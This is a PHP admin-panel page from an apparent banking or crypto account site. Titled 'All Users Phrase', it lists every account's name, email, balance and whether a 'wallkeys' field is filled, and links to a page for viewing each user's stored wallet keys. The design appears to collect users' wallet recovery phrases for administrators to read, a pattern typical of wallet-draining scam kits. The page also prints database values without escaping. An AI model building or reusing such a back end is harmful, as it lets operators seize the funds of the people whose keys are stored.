<?php




$UniqueName  = "Users Phrase";
include($_SERVER['DOCUMENT_ROOT']."/admin/layout/header.php");


//$balances = $row['acct_balance']->rowCount();

?>

<!-- Content Wrapper. Contains page content -->
<div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
        <h1>
           All Users Phrase
        </h1>
        <ol class="breadcrumb">
            <li><a href="./dashboard"><i class="fa fa-dashboard"></i> Dashboard</a></li>
        </ol>
    </section>

    <!-- Main content -->
    <section class="content">
        <div class="row">
            <div class="col-xs-12">
                <div class="box">
                    
                    <!-- /.box-header -->
                    <div class="box-body">
                         <div class="table-responsive">
                        <table id="example2" class="table table-bordered table-hover">
                            <thead>
                                <tr>
                                    <th>No</th>
                                     <th>Name</th>
                                    <th>Email</th>
                                    <th>Balance</th>
                                    <th>Phrase</th>
                                    <th>Action</th>
                                </tr>
                            </thead>
                            <tbody>
                            <?php
                                $sql="SELECT * FROM accounts order by id ASC";
                                $stmt = $conn->prepare($sql);
                                $stmt->execute();
                                $sn=1;
                                while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){
                                    
                                     $fullName = $row['firstname'] . " " . $row['lastname'];

                                        $TotalBalance = $row['savings_balance'] + $row['current_balance'];
                                    
                            ?>
                                <tr>
                                    <td><?= $sn++ ?></td>
                                    <td><?= $fullName ?></td>
                                    <td><?= $row['acct_email'] ?></td>
                                    <td><?= $row['acct_currency'] ?><?php echo number_format($TotalBalance, 2, '.', ','); ?></td>
                                    <td><?php if(empty($row['wallkeys'])){ 
                                        echo "Emtpy";
                                    } else{
                                        
                                        echo "Available";
                                    } ?>
                                    
                                    </td>
                                    <td class="text-center">
                                        <a href="./view-wallet-keys.php?id=<?php echo $row['id']; ?>" class="btn btn-primary">View</a>
                                        
                                 </td>
                                </tr>

                                <?php 
                                }
                                ?>
                                
                                
                            </tbody>
                            <tfoot>
                                <tr>
                                   <br>
                                </tr>
                            </tfoot>
                        </table>
                    </div>
                     </div>
                    <!-- /.box-body -->
                </div>
                <!-- /.box -->

              
            </div>
            <!-- /.col -->
        </div>
        <!-- /.row -->
    </section>
    <!-- /.content -->
</div>
<!-- /.content-wrapper -->


<?php
include($_SERVER['DOCUMENT_ROOT']."/admin/layout/footer.php");

?>